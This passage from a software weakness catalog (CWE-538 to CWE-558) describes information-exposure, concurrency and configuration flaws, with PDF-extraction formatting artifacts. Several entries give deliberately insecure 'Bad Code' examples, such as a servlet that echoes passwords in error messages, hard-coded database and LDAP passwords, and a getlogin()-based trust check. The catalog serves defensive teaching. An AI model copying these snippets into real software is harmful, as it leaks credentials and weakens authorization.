            String password = request.getParameter("password");
            // Authenticate user
            BankManager bankMgr = new BankManager();
            boolean isAuthentic = bankMgr.authenticateUser(username, password);
            // If user is authenticated then go to successful login page
            if (isAuthentic) {
                request.setAttribute("login", new String("Login Successful."));
                getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp").forward(request, response);
            }
            else {
                // Otherwise, raise failed login exception and output unsuccessful login message to error page
                throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
            }
        } catch (FailedLoginException ex) {
            // output failed login message to error page
            request.setAttribute("error", new String("Login Error"));
            request.setAttribute("message", ex.getMessage());
            getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
        }
    }
}
```



However, the output message generated by the `FailedLoginException` includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

#### Potential Mitigations

##### Implementation

Do not expose sensitive error information to the user.

##### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		210	Information Exposure Through Self-generated Error Message	<input checked="" type="checkbox"/>	699 1000 402
ChildOf		963	SFP Secondary Cluster: Exposed Data	<input checked="" type="checkbox"/>	888 1377

##### Taxonomy Mappings

###### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-538: File and Directory Information Exposure

Weakness ID: 538 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere.

#### Time of Introduction

- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

**Common Consequences****Confidentiality**

Read files or directories

**Potential Mitigations****Architecture and Design****Operation****System Configuration**

Do not expose file and directory information to the user.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	<b>699</b> <b>1000</b>	384
ChildOf		815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	<b>809</b>	1247
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		527	<i>Exposure of CVS Repository to an Unauthorized Control Sphere</i>	<b>699</b> <b>1000</b>	868
ParentOf		528	<i>Exposure of Core Dump File to an Unauthorized Control Sphere</i>	<b>699</b> <b>1000</b>	869
ParentOf		529	<i>Exposure of Access Control List Files to an Unauthorized Control Sphere</i>	<b>699</b> <b>1000</b>	870
ParentOf		530	<i>Exposure of Backup File to an Unauthorized Control Sphere</i>	<b>699</b> <b>1000</b>	870
ParentOf		532	<i>Information Exposure Through Log Files</i>	<b>699</b> <b>1000</b>	872
ParentOf		539	<i>Information Exposure Through Persistent Cookies</i>	<b>699</b> <b>1000</b>	878
ParentOf		540	<i>Information Exposure Through Source Code</i>	<b>699</b> <b>1000</b>	879
ParentOf		548	<i>Information Exposure Through Directory Listing</i>	<b>699</b> <b>1000</b>	887
ParentOf		651	<i>Information Exposure Through WSDL File</i>	<b>699</b> <b>1000</b>	1008

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
95	WSDL Scanning	
169	Footprinting	

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.

**Maintenance Notes**

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

**CWE-539: Information Exposure Through Persistent Cookies****Weakness ID:** 539 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**



Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

### Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Confidentiality





Read application data

### Potential Mitigations

#### Architecture and Design

Do not store sensitive information in persistent cookies.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		538	File and Directory Information Exposure	<b>699</b>	877
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>1000</b>	
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>711</b>	1119
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	

## CWE-540: Information Exposure Through Source Code

Weakness ID: 540 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Source code on a web server often contains sensitive information and should generally not be accessible to users.

#### Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

### Time of Introduction

- Implementation

### Common Consequences

**Confidentiality**

Read application data

**Potential Mitigations****Architecture and Design****System Configuration**

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		538	File and Directory Information Exposure	<b>699</b>	877
				<b>1000</b>	
ChildOf		552	Files or Directories Accessible to External Parties	699	889
				1000	
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		531	<i>Information Exposure Through Test Code</i>	<b>699</b>	871
				<b>1000</b>	
ParentOf		541	<i>Information Exposure Through Include Source Code</i>	<b>699</b>	880
				<b>1000</b>	
ParentOf		615	<i>Information Exposure Through Comments</i>	<b>699</b>	962
				<b>1000</b>	

**Taxonomy Mappings****Mapped Taxonomy Name**

Anonymous Tool Vendor  
(under NDA)

## CWE-541: Information Exposure Through Include Source Code

Weakness ID: 541 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

**Time of Introduction**

- Implementation

**Common Consequences****Confidentiality**

Read application data

**Demonstrative Examples**

The following code uses an include file to store database credentials:

database.inc

**PHP Example:***Bad Code*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

**PHP Example:***Bad Code*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
```

?&gt;

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password. Note this is also an example of CWE-433.

### Potential Mitigations

#### Architecture and Design

Do not store sensitive information in include files.

#### Architecture and Design

#### System Configuration

Protect include files from being exposed.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	V	540	Information Exposure Through Source Code	V	879
				<b>699</b>	
				<b>1000</b>	
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-542: Information Exposure Through Cleanup Log Files

Weakness ID: 542 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The application does not properly protect or delete a log file related to cleanup.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Confidentiality

Read application data

### Potential Mitigations

#### Architecture and Design

Do not store sensitive information in log files.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	V	532	Information Exposure Through Log Files	V	872
				<b>699</b>	
				<b>1000</b>	
ChildOf	B	552	Files or Directories Accessible to External Parties	699	889
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT Java Secure Coding	FIO13-J	Do not log sensitive information outside a trust boundary
Software Fault Patterns	SFP23	Exposed Data

# CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID: 543 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software uses the singleton pattern when creating a resource within a multithreaded environment.

### Extended Description

The use of a singleton pattern may not be thread-safe.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java
- C++

## Common Consequences

### Other

### Integrity

### Other

### Modify application data

## Demonstrative Examples

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

### Java Example:

Bad Code

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.

Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.

Thread B continues and constructs another NumberConverter object and returns it while exiting the method.

Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

## Potential Mitigations

### Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

### Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

**Implementation****Limited**

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	381	J2EE Time and State Issues		699 661
ChildOf	<b>B</b>	820	Missing Synchronization		<b>699</b> 1249
					<b>1000</b>
ChildOf	<b>C</b>	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)		<b>844</b> 1298
ChildOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock		<b>888</b> 1386

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MSC07-J	Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19	Missing Lock

**References**

Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specific Storage for C/C++". <  
<http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf> >.

## CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID: 544 (Weakness Base)

Status: Draft

**Description****Summary**

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

**Extended Description**

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

**Time of Introduction**

- Architecture and Design

**Common Consequences****Integrity****Other****Quality degradation****Unexpected state****Varies by context****Potential Mitigations****Architecture and Design**

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	388	Error Handling		<b>699</b> 669
ChildOf	<b>C</b>	746	CERT C Secure Coding Section 12 - Error Handling (ERR)		<b>734</b> 1136
ChildOf	<b>G</b>	755	Improper Handling of Exceptional Conditions		<b>1000</b> 1150
ChildOf	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)		<b>868</b> 1317

Nature	Type	ID	Name	V	Page
ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	ERR00-C	Adopt and implement a consistent and comprehensive error-handling policy
CERT C++ Secure Coding	ERR00-CPP	Adopt and implement a consistent and comprehensive error-handling policy

## CWE-545: Use of Dynamic Class Loading

Weakness ID: 545 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Dynamically loaded code has the potential to be malicious.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences

##### Other

##### Confidentiality

##### Integrity

##### Availability

##### Other

#### Execute unauthorized code or commands

An attacker could execute malicious code that they have included in the loaded class. The malicious code can be executed without calling a specific method if the malicious code is hidden within the static class initializer.

#### Demonstrative Examples

The code below dynamically loads a class using the Java Reflection API.

##### Java Example:

*Bad Code*

```
String className = System.getProperty("customClassName");
Class clazz = Class.forName(className);
```

#### Potential Mitigations

##### Architecture and Design

Avoid the use of class loading as it greatly complicates code analysis. If the application requires dynamic class loading, it should be well understood and documented. All classes that may be loaded should be predefined and avoid the use of dynamically created classes from byte arrays.

##### Other Notes

The class loader executes the static initializers when the class is loaded. A malicious attack may be hidden in the static initializer and therefore does not require the execution of a specific method. An attack may also be hidden in any other method in the dynamically loaded code. The use of dynamic code could also enable an attacker to insert an attack into an application after it has been deployed. The attack code would not be in the baseline, but loaded dynamically while the application is running.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	485	Insufficient Encapsulation	699 1000	819

Nature	Type	ID	Name		Page
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment		888 1390
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP27	Tainted input to environment

## CWE-546: Suspicious Comment

Weakness ID: 546 (Weakness Variant)

Status: Draft

### Description

#### Summary

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

#### Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

### Time of Introduction

- Implementation

### Common Consequences

#### Other

#### Quality degradation

Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

### Demonstrative Examples

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

#### Java Example:

*Bad Code*

```
if (user == null) {
    // TODO: Handle null user condition.
}
```

### Potential Mitigations

#### Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality		699 684 1000
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

## CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID: 547 (Weakness Variant)

Status: Draft



**Description****Summary**

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

**Extended Description**

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

**Time of Introduction**

- Implementation

**Common Consequences****Other****Varies by context****Quality degradation**

The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.

**Demonstrative Examples**

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

**C/C++ Example:***Bad Code*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

**C/C++ Example:***Bad Code*






```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

**Potential Mitigations****Implementation**

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

**Relationships**

Nature	Type	ID	Name		Page	
ChildOf		398	Indicator of Poor Code Quality		<b>699</b> <b>1000</b>	684
ChildOf		736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)		<b>734</b>	1131
ChildOf		950	SFP Secondary Cluster: Hardcoded Sensitive Data		<b>888</b>	1372
MemberOf		884	<i>CWE Cross-section</i>		<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	DCL06-C	Use meaningful symbolic constants to represent literal values in program logic

## CWE-548: Information Exposure Through Directory Listing

Weakness ID: 548 (Weakness Variant)

Status: Draft

### Description

#### Summary

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

#### Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

#### Time of Introduction

- Implementation
- Operation

#### Common Consequences

##### Confidentiality

##### Read files or directories

Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.

#### Potential Mitigations

##### Architecture and Design

##### System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>B</b>	538	File and Directory Information Exposure	<b>699</b>	877
ChildOf	<b>B</b>	552	Files or Directories Accessible to External Parties	<b>1000</b>	889
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf	<b>C</b>	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	<b>928</b>	1359
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
WASC	16		Directory Indexing

## CWE-549: Missing Password Field Masking

Weakness ID: 549 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

#### Time of Introduction

- Implementation

**Common Consequences****Access Control**

Bypass protection mechanism

**Potential Mitigations****Implementation****Requirements**

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	699	453
ChildOf	C	355	User Interface Security Issues	699	619
ChildOf	B	522	Insufficiently Protected Credentials	1000	862
ChildOf	C	995	SFP Secondary Cluster: Feature	888	1392

**Taxonomy Mappings****Mapped Taxonomy Name**

Anonymous Tool Vendor  
(under NDA)

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-550: Information Exposure Through Server Error Message

Weakness ID: 550 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

Certain conditions, such as network failure, will cause a server error message to be displayed.

**Extended Description**

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

**Time of Introduction**

- Implementation

**Common Consequences****Confidentiality**

Read application data

**Potential Mitigations****Architecture and Design****System Configuration**

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	B	209	Information Exposure Through an Error Message	699	397
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

**Taxonomy Mappings**

**Mapped Taxonomy Name**Anonymous Tool Vendor  
(under NDA)

## CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

**Weakness ID:** 551 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

**Extended Description**

For instance, the character strings `./` and `/` both mean current directory. If `/SomeDirectory` is a protected directory and an attacker requests `./SomeDirectory`, the attacker may be able to gain access to the resource if `./` is not converted to `/` before the authorization check is performed.





**Time of Introduction**

- Implementation

**Common Consequences****Access Control****Bypass protection mechanism****Potential Mitigations****Architecture and Design**

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		696	Incorrect Behavior Order		1000 1077
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control		<b>711</b> 1116
ChildOf		863	Incorrect Authorization		<b>699</b> 1304 <b>1000</b>
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication		<b>888</b> 1372

**Taxonomy Mappings****Mapped Taxonomy Name**Anonymous Tool Vendor  
(under NDA)

## CWE-552: Files or Directories Accessible to External Parties

**Weakness ID:** 552 (*Weakness Base*)**Status:** Draft**Description****Summary**

Files or directories are accessible in the environment that should not be.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences**

**Confidentiality****Integrity****Read files or directories****Modify files or directories****Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		2	Environment	<b>699</b>	1
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	<b>809</b>	1247
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		527	<i>Exposure of CVS Repository to an Unauthorized Control Sphere</i>	699 1000	868
ParentOf		528	<i>Exposure of Core Dump File to an Unauthorized Control Sphere</i>	699 1000	869
ParentOf		529	<i>Exposure of Access Control List Files to an Unauthorized Control Sphere</i>	699 1000	870
ParentOf		530	<i>Exposure of Backup File to an Unauthorized Control Sphere</i>	1000	870
ParentOf		532	<i>Information Exposure Through Log Files</i>	699 1000	872
ParentOf		533	<i>Information Exposure Through Server Log Files</i>	699	873
ParentOf		534	<i>Information Exposure Through Debug Log Files</i>	699	874
ParentOf		540	<i>Information Exposure Through Source Code</i>	699 1000	879
ParentOf		542	<i>Information Exposure Through Cleanup Log Files</i>	699	881
ParentOf		548	<i>Information Exposure Through Directory Listing</i>	1000	887
ParentOf		553	<i>Command Shell in Externally Accessible Directory</i>	<b>699</b> <b>1000</b>	890

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory
CERT C++ Secure Coding	FIO15-CPP		Ensure that file operations are performed in a secure directory

## CWE-553: Command Shell in Externally Accessible Directory

**Weakness ID:** 553 (*Weakness Variant*)

**Status:** Incomplete

**Description****Summary**

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences**




**Confidentiality**  
**Integrity**  
**Availability**  
**Execute unauthorized code or commands**

#### Potential Mitigations

**Installation**  
**System Configuration**

Remove any Shells accessible under the web root folder and children directories.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		552	Files or Directories Accessible to External Parties		889
				<b>699</b>	
				<b>1000</b>	
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

#### Taxonomy Mappings

##### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID: 554 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The ASP.NET application does not use an input validation framework.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- .NET

#### Common Consequences

##### Integrity

##### Unexpected state

Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.





#### Potential Mitigations

##### Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that:

- Phone number fields contain only valid characters in phone numbers
- Boolean values are only "T" or "F"
- Free-form strings are of a reasonable length and composition

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		10	ASP.NET Environment Issues		8
				699	18
ChildOf		20	Improper Input Validation	<b>699</b>	
				<b>1000</b>	
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

#### Taxonomy Mappings

##### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

## CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID: 555 (Weakness Variant) Status: Draft

### Description

#### Summary

The J2EE application stores a plaintext password in a configuration file.

#### Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Demonstrative Examples

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

##### Java Example:

*Bad Code*

```
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
```

#### Potential Mitigations

##### Architecture and Design

Do not hardwire passwords into your software.

##### Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		4	J2EE Environment Issues		699 2
ChildOf		522	Insufficiently Protected Credentials		1000 862
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377

#### Taxonomy Mappings

##### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID: 556 (Weakness Variant) Status: Incomplete

### Description

#### Summary

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

#### Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.



### Time of Introduction

- Implementation
- Operation

### Common Consequences

#### Access Control

Gain privileges / assume identity

### Potential Mitigations

#### Architecture and Design

Use the least privilege principle.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	10	ASP.NET Environment Issues	699	8
ChildOf	B	266	Incorrect Privilege Assignment	1000	471
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1373

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## CWE-557: Concurrency Issues

Category ID: 557 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to concurrent use of shared resources.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	361	Time and State	699	626
CanAlsoBe	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	627
PeerOf	C	371	State Issues	1000	650
ParentOf	B	366	Race Condition within a Thread	699	640
ParentOf	V	558	Use of getlogin() in Multithreaded Application	699	893
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	699	903
ParentOf	V	572	Call to Thread run() instead of start()	699	910

## CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID: 558 (Weakness Variant) Status: Draft

### Description

#### Summary

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

#### Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

### Time of Introduction

- Implementation

### Applicable Platforms

**Languages**

- C
- C++

**Common Consequences****Integrity****Access Control****Other****Modify application data****Bypass protection mechanism****Other****Demonstrative Examples**

The following code relies on `getlogin()` to determine whether or not a user is trusted. It is easily subverted.

**C Example:***Bad Code*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
    deny();
}
```

**Potential Mitigations****Architecture and Design**

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

**Implementation**

Use `getlogin_r()` instead, which is reentrant, meaning that other processes are locked out from changing the username.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	700	418
ChildOf		557	Concurrency Issues	699	893
ChildOf		663	Use of a Non-reentrant Function in a Concurrent Context	1000	1025
